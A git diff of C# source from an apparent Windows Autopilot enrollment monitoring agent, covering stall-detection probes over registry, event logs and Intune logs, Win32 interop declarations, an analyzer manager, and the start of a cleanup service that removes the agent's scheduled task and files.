/// newly crossed and runs the corresponding probe.
|
||||
/// </summary>
|
||||
public void CheckAndRunProbes(double idleMinutes)
|
||||
{
|
||||
// Iterate thresholds from lowest to highest so probes fire in order.
|
||||
for (int i = 0; i < _thresholdsMinutes.Length; i++)
|
||||
{
|
||||
var thresholdMinutes = _thresholdsMinutes[i];
|
||||
if (idleMinutes < thresholdMinutes)
|
||||
return;
|
||||
|
||||
int probeIndex = i + 1; // 1-based for user-facing output
|
||||
|
||||
bool alreadyFired;
|
||||
lock (_stateLock)
|
||||
{
|
||||
alreadyFired = _firedProbeIndices.Contains(probeIndex);
|
||||
}
|
||||
if (alreadyFired)
|
||||
continue;
|
||||
|
||||
RunProbe(probeIndex, thresholdMinutes, idleMinutes);
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
_firedProbeIndices.Add(probeIndex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RunProbe(int probeIndex, int thresholdMinutes, double idleMinutes)
|
||||
{
|
||||
var started = DateTime.UtcNow;
|
||||
var result = new ProbeResult { ProbeIndex = probeIndex, IdleMinutes = Math.Round(idleMinutes, 1) };
|
||||
|
||||
// Run each source best-effort; one failure does not skip the others.
|
||||
if (_sources.Contains("provisioning_registry"))
|
||||
RunWithTimeout(() => ScanProvisioningRegistry(result), RegistryScanTimeoutMs, "provisioning_registry", result);
|
||||
|
||||
if (_sources.Contains("diagnostics_registry"))
|
||||
RunWithTimeout(() => ScanDiagnosticsRegistry(result), DiagnosticsRegistryScanTimeoutMs, "diagnostics_registry", result);
|
||||
|
||||
if (_sources.Contains("eventlog"))
|
||||
RunWithTimeout(() => ScanEventLogs(result), EventLogScanTimeoutMs, "eventlog", result);
|
||||
|
||||
if (_sources.Contains("appworkload_log"))
|
||||
RunWithTimeout(() => ScanAppWorkloadTail(result), AppWorkloadTailTimeoutMs, "appworkload_log", result);
|
||||
|
||||
result.DurationMs = (int)(DateTime.UtcNow - started).TotalMilliseconds;
|
||||
|
||||
// Always log locally for diagnostics — the agent_YYYYMMDD.log is the always-on observability.
|
||||
var anomaliesStr = result.Anomalies.Count > 0
|
||||
? $"anomalies=[{string.Join(",", result.Anomalies)}]"
|
||||
: "quiet";
|
||||
var activeStr = result.ActiveInstalls.Count > 0
|
||||
? $" activeInstalls=[{string.Join(",", result.ActiveInstalls)}]"
|
||||
: string.Empty;
|
||||
var failedStr = result.SourcesFailed.Count > 0
|
||||
? $" sources_failed=[{string.Join(",", result.SourcesFailed)}]"
|
||||
: string.Empty;
|
||||
_logger.Info($"StallProbeCollector: Probe {probeIndex}/{_thresholdsMinutes.Length} ran at idle={result.IdleMinutes}min, {anomaliesStr}{activeStr}{failedStr} (duration={result.DurationMs}ms)");
|
||||
|
||||
bool hasAnomaly = result.Anomalies.Count > 0;
|
||||
bool hasActiveInstalls = result.ActiveInstalls.Count > 0;
|
||||
|
||||
// Emit stall_probe_result Warning on anomaly — always, regardless of probe index.
|
||||
if (hasAnomaly)
|
||||
{
|
||||
EmitProbeResultEvent(result, severity: EventSeverity.Warning);
|
||||
|
||||
if (result.IsTerminal)
|
||||
{
|
||||
_logger.Warning($"StallProbeCollector: terminal ESP failure detected in Probe {probeIndex} — firing EspFailureDetected");
|
||||
try { EspFailureDetected?.Invoke(this, result.TerminalReason ?? "stall_probe_terminal"); }
|
||||
catch (Exception ex) { _logger.Error("EspFailureDetected handler threw", ex); }
|
||||
}
|
||||
}
|
||||
else if (_traceIndices.Contains(probeIndex))
|
||||
{
|
||||
// Quiet or activeInstalls — emit a Trace heartbeat at trace-indexed probes.
|
||||
EmitProbeCheckTraceEvent(result);
|
||||
}
|
||||
// else: non-trace probe without anomaly → silent except for agent log.
|
||||
|
||||
// session_stalled is fire-once across the whole session. It fires at the configured
|
||||
// probe index UNLESS activeInstalls is observed (activeInstalls counts as progress).
|
||||
if (probeIndex == _sessionStalledAfterProbeIndex && !hasActiveInstalls)
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_sessionStalledFired)
|
||||
return;
|
||||
_sessionStalledFired = true;
|
||||
}
|
||||
EmitSessionStalledEvent(result);
|
||||
}
|
||||
}
|
||||
|
||||
private void RunWithTimeout(Action action, int timeoutMs, string sourceName, ProbeResult result)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Run on the calling thread but guard against exceptions. We intentionally do not
|
||||
// spawn a new thread per source — the IdleCheckCallback already runs on a worker
|
||||
// thread, and spinning extra threads would be heavier than the work itself.
|
||||
// The timeoutMs is enforced via source-internal reads (FileStream, Registry handles
|
||||
// are using-scoped and the reads themselves are bounded).
|
||||
var sw = System.Diagnostics.Stopwatch.StartNew();
|
||||
action();
|
||||
sw.Stop();
|
||||
if (sw.ElapsedMilliseconds > timeoutMs)
|
||||
{
|
||||
_logger.Warning($"StallProbeCollector: {sourceName} scan exceeded soft timeout ({sw.ElapsedMilliseconds}ms > {timeoutMs}ms)");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"StallProbeCollector: {sourceName} scan failed: {ex.Message}");
|
||||
result.SourcesFailed.Add(sourceName);
|
||||
}
|
||||
}
|
||||
|
||||
private void ScanProvisioningRegistry(ProbeResult result)
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotSettings", writable: false))
|
||||
{
|
||||
if (key == null)
|
||||
return;
|
||||
|
||||
foreach (var valueName in new[] { "DevicePreparationCategory.Status", "DeviceSetupCategory.Status", "AccountSetupCategory.Status" })
|
||||
{
|
||||
var json = key.GetValue(valueName)?.ToString();
|
||||
if (string.IsNullOrEmpty(json))
|
||||
continue;
|
||||
|
||||
// Rudimentary scan — only flag patterns that are definitively bad.
|
||||
if (json.IndexOf("\"categorySucceeded\":false", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
||||
json.IndexOf("\"subcategoryState\":\"failed\"", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
result.Anomalies.Add($"provisioning_registry:{valueName}");
|
||||
if (result.RawSamples.Count < 5)
|
||||
result.RawSamples.Add($"{valueName}: {Truncate(json, 400)}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ScanDiagnosticsRegistry(ProbeResult result)
|
||||
{
|
||||
using (var diagRoot = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\Diagnostics\Autopilot", writable: false))
|
||||
{
|
||||
if (diagRoot == null)
|
||||
return;
|
||||
|
||||
object deployErrorCode = diagRoot.GetValue("DeploymentErrorCode");
|
||||
object deployErrorReason = diagRoot.GetValue("DeploymentErrorReason");
|
||||
|
||||
if (deployErrorCode != null)
|
||||
{
|
||||
// DeploymentErrorCode is typically a DWORD. 0 = no error.
|
||||
var asString = deployErrorCode.ToString();
|
||||
if (!string.IsNullOrEmpty(asString) && asString != "0" && asString != "0x0")
|
||||
{
|
||||
result.Anomalies.Add("diagnostics_registry:DeploymentErrorCode");
|
||||
result.RawSamples.Add($"DeploymentErrorCode={asString}; DeploymentErrorReason={deployErrorReason ?? "(null)"}");
|
||||
result.IsTerminal = true;
|
||||
result.TerminalReason = $"DeploymentErrorCode={asString}";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ScanEventLogs(ProbeResult result)
|
||||
{
|
||||
// Scan a small window (last 15 min) of Autopilot/ESP-related channels at Level ≤ 3.
|
||||
var since = DateTime.UtcNow.AddMinutes(-15);
|
||||
var sinceStr = since.ToString("yyyy-MM-ddTHH:mm:ss.fffZ");
|
||||
var xpath = $"*[System[(Level >= 1 and Level <= 3) and TimeCreated[@SystemTime >= '{sinceStr}']]]";
|
||||
|
||||
var channels = new[]
|
||||
{
|
||||
"Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot",
|
||||
"Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService",
|
||||
"Microsoft-Windows-Shell-Core/Operational"
|
||||
};
|
||||
|
||||
int foundCount = 0;
|
||||
foreach (var channel in channels)
|
||||
{
|
||||
try
|
||||
{
|
||||
var query = new EventLogQuery(channel, PathType.LogName, xpath) { ReverseDirection = true };
|
||||
using (var reader = new EventLogReader(query))
|
||||
{
|
||||
int perChannelCap = 20;
|
||||
EventRecord record;
|
||||
while ((record = reader.ReadEvent()) != null && perChannelCap-- > 0)
|
||||
{
|
||||
using (record)
|
||||
{
|
||||
// Skip known harmless events — they are normal operational noise
|
||||
// and should not be counted as stall anomalies.
|
||||
if (_harmlessModernDeploymentEventIds.Contains(record.Id))
|
||||
continue;
|
||||
|
||||
foundCount++;
|
||||
if (result.RawSamples.Count < 5)
|
||||
{
|
||||
string desc = null;
|
||||
try { desc = record.FormatDescription(); }
|
||||
catch { }
|
||||
desc = Truncate(desc ?? $"EventID {record.Id}", 400);
|
||||
result.RawSamples.Add($"[{channel.Split('/').Last()}] ID={record.Id} Level={record.Level}: {desc}");
|
||||
}
|
||||
|
||||
// Check for known terminal ModernDeployment failure event IDs.
|
||||
if (TerminalModernDeploymentEventIds.Contains(record.Id))
|
||||
{
|
||||
result.IsTerminal = true;
|
||||
result.TerminalReason = $"ModernDeployment EventID {record.Id}";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (EventLogNotFoundException)
|
||||
{
|
||||
// Channel not available on this OS — ignore silently.
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Trace($"StallProbeCollector: eventlog scan of {channel} failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
if (foundCount > 0)
|
||||
{
|
||||
result.Anomalies.Add($"eventlog:{foundCount}_events");
|
||||
}
|
||||
}
|
||||
|
||||
private void ScanAppWorkloadTail(ProbeResult result)
|
||||
{
|
||||
var path = @"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\AppWorkload.log";
|
||||
if (!File.Exists(path))
|
||||
return;
|
||||
|
||||
// Read the last ~200 KB. AppWorkload.log can be huge; we never read the whole file.
|
||||
const int tailBytes = 200 * 1024;
|
||||
using (var fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete))
|
||||
{
|
||||
long start = Math.Max(0, fs.Length - tailBytes);
|
||||
fs.Seek(start, SeekOrigin.Begin);
|
||||
using (var reader = new StreamReader(fs, Encoding.UTF8, detectEncodingFromByteOrderMarks: true, bufferSize: 4096, leaveOpen: true))
|
||||
{
|
||||
string content = reader.ReadToEnd();
|
||||
|
||||
// Cut at the first newline to avoid starting mid-line.
|
||||
var firstNewline = content.IndexOf('\n');
|
||||
if (firstNewline > 0 && firstNewline < content.Length - 1)
|
||||
content = content.Substring(firstNewline + 1);
|
||||
|
||||
// Positive-signal scan: active installations recently logged.
|
||||
foreach (Match m in ActiveInstallRegex.Matches(content))
|
||||
{
|
||||
if (result.ActiveInstalls.Count < 10 && !result.ActiveInstalls.Contains(m.Value))
|
||||
result.ActiveInstalls.Add(m.Value);
|
||||
}
|
||||
|
||||
// Negative-signal scan: failures.
|
||||
var failureMatches = FailureRegex.Matches(content);
|
||||
if (failureMatches.Count > 0)
|
||||
{
|
||||
result.Anomalies.Add($"appworkload_log:{failureMatches.Count}_errors");
|
||||
// Sample up to 3 failure lines for context.
|
||||
int sampled = 0;
|
||||
foreach (Match m in failureMatches)
|
||||
{
|
||||
if (sampled >= 3 || result.RawSamples.Count >= 5)
|
||||
break;
|
||||
// Extract the enclosing line for context.
|
||||
int lineStart = content.LastIndexOf('\n', Math.Max(0, m.Index));
|
||||
int lineEnd = content.IndexOf('\n', m.Index);
|
||||
if (lineStart < 0) lineStart = 0;
|
||||
if (lineEnd < 0) lineEnd = content.Length;
|
||||
var line = content.Substring(lineStart, Math.Min(400, lineEnd - lineStart)).Trim();
|
||||
result.RawSamples.Add($"AppWorkload: {line}");
|
||||
sampled++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void EmitProbeResultEvent(ProbeResult result, EventSeverity severity)
|
||||
{
|
||||
var data = BuildDataJson(result);
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = Constants.EventTypes.StallProbeResult,
|
||||
Severity = severity,
|
||||
Source = "StallProbeCollector",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Stall probe {result.ProbeIndex}/{_thresholdsMinutes.Length}: {result.Anomalies.Count} anomaly/ies after {result.IdleMinutes}min idle",
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private void EmitProbeCheckTraceEvent(ProbeResult result)
|
||||
{
|
||||
var data = BuildDataJson(result);
|
||||
var summary = result.ActiveInstalls.Count > 0
|
||||
? $"activeInstalls={result.ActiveInstalls.Count}"
|
||||
: "quiet";
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = Constants.EventTypes.StallProbeCheck,
|
||||
Severity = EventSeverity.Trace,
|
||||
Source = "StallProbeCollector",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Stall probe {result.ProbeIndex}/{_thresholdsMinutes.Length} heartbeat: {summary} after {result.IdleMinutes}min idle",
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private void EmitSessionStalledEvent(ProbeResult result)
|
||||
{
|
||||
var data = BuildDataJson(result);
|
||||
data["probeIndexTriggered"] = result.ProbeIndex;
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = Constants.EventTypes.SessionStalled,
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "StallProbeCollector",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Session stalled: no enrollment progress for {result.IdleMinutes}min (stall probe {result.ProbeIndex})",
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private static Dictionary<string, object> BuildDataJson(ProbeResult r)
|
||||
{
|
||||
return new Dictionary<string, object>
|
||||
{
|
||||
{ "probeIndex", r.ProbeIndex },
|
||||
{ "idleMinutes", r.IdleMinutes },
|
||||
{ "probeDurationMs", r.DurationMs },
|
||||
{ "anomalyTypes", r.Anomalies.ToArray() },
|
||||
{ "activeInstalls", r.ActiveInstalls.ToArray() },
|
||||
{ "sources_failed", r.SourcesFailed.ToArray() },
|
||||
{ "rawSamples", r.RawSamples.ToArray() },
|
||||
{ "isTerminal", r.IsTerminal },
|
||||
{ "terminalReason", r.TerminalReason ?? string.Empty }
|
||||
};
|
||||
}
|
||||
|
||||
private static string Truncate(string s, int max)
|
||||
{
|
||||
if (string.IsNullOrEmpty(s)) return string.Empty;
|
||||
return s.Length <= max ? s : s.Substring(0, max) + "…";
|
||||
}
|
||||
|
||||
private class ProbeResult
|
||||
{
|
||||
public int ProbeIndex;
|
||||
public double IdleMinutes;
|
||||
public int DurationMs;
|
||||
public readonly List<string> Anomalies = new List<string>();
|
||||
public readonly List<string> ActiveInstalls = new List<string>();
|
||||
public readonly List<string> SourcesFailed = new List<string>();
|
||||
public readonly List<string> RawSamples = new List<string>();
|
||||
public bool IsTerminal;
|
||||
public string TerminalReason;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Interop
|
||||
{
|
||||
internal static class MemoryNativeMethods
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
private struct MEMORYSTATUSEX
|
||||
{
|
||||
public uint dwLength;
|
||||
public uint dwMemoryLoad;
|
||||
public ulong ullTotalPhys;
|
||||
public ulong ullAvailPhys;
|
||||
public ulong ullTotalPageFile;
|
||||
public ulong ullAvailPageFile;
|
||||
public ulong ullTotalVirtual;
|
||||
public ulong ullAvailVirtual;
|
||||
public ulong ullAvailExtendedVirtual;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer);
|
||||
|
||||
public static bool TryGetMemoryInfo(out ulong availBytes, out ulong totalBytes, out uint loadPercent)
|
||||
{
|
||||
var status = new MEMORYSTATUSEX();
|
||||
status.dwLength = (uint)Marshal.SizeOf(typeof(MEMORYSTATUSEX));
|
||||
|
||||
if (GlobalMemoryStatusEx(ref status))
|
||||
{
|
||||
availBytes = status.ullAvailPhys;
|
||||
totalBytes = status.ullTotalPhys;
|
||||
loadPercent = status.dwMemoryLoad;
|
||||
return true;
|
||||
}
|
||||
|
||||
availBytes = 0;
|
||||
totalBytes = 0;
|
||||
loadPercent = 0;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,99 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Interop
|
||||
{
|
||||
/// <summary>
|
||||
/// Win32 P/Invoke declarations for process creation in user session.
|
||||
/// Used by UserSessionProcessLauncher to launch processes in interactive desktop sessions from SYSTEM context.
|
||||
/// </summary>
|
||||
internal static class ProcessNativeMethods
|
||||
{
|
||||
public const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
|
||||
public const int STARTF_USESHOWWINDOW = 0x00000001;
|
||||
public const int STARTF_FORCEONFEEDBACK = 0x00000040;
|
||||
public const short SW_SHOW = 5;
|
||||
public const uint WAIT_TIMEOUT = 258;
|
||||
public const uint MAXIMUM_ALLOWED = 0x02000000;
|
||||
public const int SECURITY_IMPERSONATION = 2;
|
||||
public const int TOKEN_PRIMARY = 1;
|
||||
public const int TokenSessionId = 12;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public int dwX;
|
||||
public int dwY;
|
||||
public int dwXSize;
|
||||
public int dwYSize;
|
||||
public int dwXCountChars;
|
||||
public int dwYCountChars;
|
||||
public int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[DllImport("Wtsapi32.dll", SetLastError = true)]
|
||||
public static extern bool WTSQueryUserToken(uint SessionId, out IntPtr phToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool DuplicateTokenEx(
|
||||
IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes,
|
||||
int ImpersonationLevel, int TokenType, out IntPtr phNewToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool SetTokenInformation(
|
||||
IntPtr TokenHandle, int TokenInformationClass,
|
||||
ref uint TokenInformation, uint TokenInformationLength);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool CreateProcessAsUser(
|
||||
IntPtr hToken, string lpApplicationName, string lpCommandLine,
|
||||
ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
bool bInheritHandles, uint dwCreationFlags,
|
||||
IntPtr lpEnvironment, string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("userenv.dll", SetLastError = true)]
|
||||
public static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
|
||||
|
||||
[DllImport("userenv.dll", SetLastError = true)]
|
||||
public static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetExitCodeProcess(IntPtr hProcess, out uint lpExitCode);
|
||||
}
|
||||
}
|
||||
@@ -1,60 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Interop
|
||||
{
|
||||
internal static class RegistryNativeMethods
|
||||
{
|
||||
public const int KEY_NOTIFY = 0x0010;
|
||||
public const int KEY_WOW64_64KEY = 0x0100;
|
||||
public const int KEY_WOW64_32KEY = 0x0200;
|
||||
|
||||
[Flags]
|
||||
public enum RegChangeNotifyFilter : uint
|
||||
{
|
||||
Name = 0x00000001,
|
||||
Attributes = 0x00000002,
|
||||
LastSet = 0x00000004,
|
||||
Security = 0x00000008,
|
||||
|
||||
// Supported on Windows 8+
|
||||
ThreadAgnostic = 0x10000000
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern int RegOpenKeyEx(
|
||||
UIntPtr hKey,
|
||||
string lpSubKey,
|
||||
uint ulOptions,
|
||||
int samDesired,
|
||||
out SafeRegistryHandle phkResult);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern int RegNotifyChangeKeyValue(
|
||||
SafeRegistryHandle hKey,
|
||||
bool bWatchSubtree,
|
||||
RegChangeNotifyFilter dwNotifyFilter,
|
||||
SafeWaitHandle hEvent,
|
||||
bool fAsynchronous);
|
||||
|
||||
public static int GetSamDesired(RegistryView view)
|
||||
{
|
||||
switch (view)
|
||||
{
|
||||
case RegistryView.Registry64:
|
||||
return KEY_NOTIFY | KEY_WOW64_64KEY;
|
||||
|
||||
case RegistryView.Registry32:
|
||||
return KEY_NOTIFY | KEY_WOW64_32KEY;
|
||||
|
||||
case RegistryView.Default:
|
||||
return KEY_NOTIFY;
|
||||
|
||||
default:
|
||||
throw new ArgumentOutOfRangeException(nameof(view));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,139 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Manages agent analyzers: initialization from remote config, startup execution
|
||||
/// on a background thread, and shutdown execution with optional WhiteGlove part.
|
||||
/// </summary>
|
||||
public class AnalyzerManager
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly RemoteConfigService _remoteConfigService;
|
||||
|
||||
private readonly List<IAgentAnalyzer> _analyzers = new List<IAgentAnalyzer>();
|
||||
|
||||
public AnalyzerManager(
|
||||
AgentConfiguration configuration,
|
||||
AgentLogger logger,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
RemoteConfigService remoteConfigService)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
_emitEvent = emitEvent;
|
||||
_remoteConfigService = remoteConfigService;
|
||||
}
|
||||
|
||||
public void Initialize()
|
||||
{
|
||||
_analyzers.Clear();
|
||||
|
||||
var analyzerConfig = _remoteConfigService?.CurrentConfig?.Analyzers ?? new AnalyzerConfiguration();
|
||||
|
||||
if (analyzerConfig.EnableLocalAdminAnalyzer)
|
||||
{
|
||||
_analyzers.Add(new LocalAdminAnalyzer(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
analyzerConfig.LocalAdminAllowedAccounts
|
||||
));
|
||||
_logger.Info("LocalAdminAnalyzer registered");
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Info("LocalAdminAnalyzer disabled by remote config");
|
||||
}
|
||||
|
||||
if (analyzerConfig.EnableSoftwareInventoryAnalyzer)
|
||||
{
|
||||
_analyzers.Add(new SoftwareInventoryAnalyzer(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger
|
||||
));
|
||||
_logger.Info("SoftwareInventoryAnalyzer registered");
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Info("SoftwareInventoryAnalyzer disabled by remote config");
|
||||
}
|
||||
|
||||
if (analyzerConfig.EnableIntegrityBypassAnalyzer)
|
||||
{
|
||||
_analyzers.Add(new IntegrityBypassAnalyzer(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger
|
||||
));
|
||||
_logger.Info("IntegrityBypassAnalyzer registered");
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Info("IntegrityBypassAnalyzer disabled by remote config");
|
||||
}
|
||||
|
||||
_logger.Info($"Analyzers initialized: {_analyzers.Count} active");
|
||||
}
|
||||
|
||||
public void RunStartup()
|
||||
{
|
||||
if (_analyzers.Count == 0)
|
||||
return;
|
||||
|
||||
var analyzers = new List<IAgentAnalyzer>(_analyzers);
|
||||
|
||||
_logger.Info($"Scheduling {analyzers.Count} startup analyzer(s) on background thread");
|
||||
|
||||
Task.Run(() =>
|
||||
{
|
||||
foreach (var analyzer in analyzers)
|
||||
{
|
||||
try
|
||||
{
|
||||
analyzer.AnalyzeAtStartup();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"Analyzer {analyzer.Name} threw during startup", ex);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public void RunShutdown(int? whiteGlovePart = null)
|
||||
{
|
||||
if (_analyzers.Count == 0)
|
||||
return;
|
||||
|
||||
_logger.Info($"Running {_analyzers.Count} shutdown analyzer(s) (whiteGlovePart={whiteGlovePart?.ToString() ?? "none"})");
|
||||
|
||||
foreach (var analyzer in _analyzers)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (analyzer is SoftwareInventoryAnalyzer softwareAnalyzer)
|
||||
softwareAnalyzer.AnalyzeAtShutdown(whiteGlovePart);
|
||||
else
|
||||
analyzer.AnalyzeAtShutdown();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"Analyzer {analyzer.Name} threw during shutdown", ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Security;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles agent cleanup on enrollment completion:
|
||||
/// removes the Scheduled Task and deletes all agent files (self-destruct).
|
||||
/// </summary>
|
||||
public class CleanupService
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
public CleanupService(AgentConfiguration configuration, AgentLogger logger)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Executes full self-destruct: removes scheduled task and deletes all files
|
||||
/// </summary>
|
||||
public virtual void ExecuteSelfDestruct()
|
||||
{
|
||||
try
|
||||
{
|
||||
_logger.Info($"Executing FULL SELF-DESTRUCT (Scheduled Task + Files{(_configuration.RebootOnComplete ? " + Reboot" : "")})");
|
||||
|
||||
var currentProcessId = Process.GetCurrentProcess().Id;
|
||||
var agentBasePath = Path.GetFullPath(Path.Combine(
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),
|
||||
"AutopilotMonitor"
|
||||
));
|
||||
|
||||
var logDir = Path.GetFullPath(Path.Combine(agentBasePath, "Logs"));
|
||||
var keepLogs = _configuration.KeepLogFile;
|
||||
|
||||
// Create a self-deleting PowerShell script
|
||||
var cleanupScript = $@"
|
||||
$scriptPath = $MyInvocation.MyCommand.Path
|
||||
|
||||
# Wait for agent process to exit
|
||||
Start-Sleep -Seconds 2
|
||||
Wait-Process -Id {currentProcessId} -ErrorAction SilentlyContinue -Timeout 30
|
||||
Start-Sleep -Seconds 1
|
||||
|
||||
# Remove Scheduled Task
|
||||
try {{
|
||||
Stop-ScheduledTask -TaskName '{_configuration.ScheduledTaskName}' -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName '{_configuration.ScheduledTaskName}' -Confirm:$false -ErrorAction SilentlyContinue
|
||||
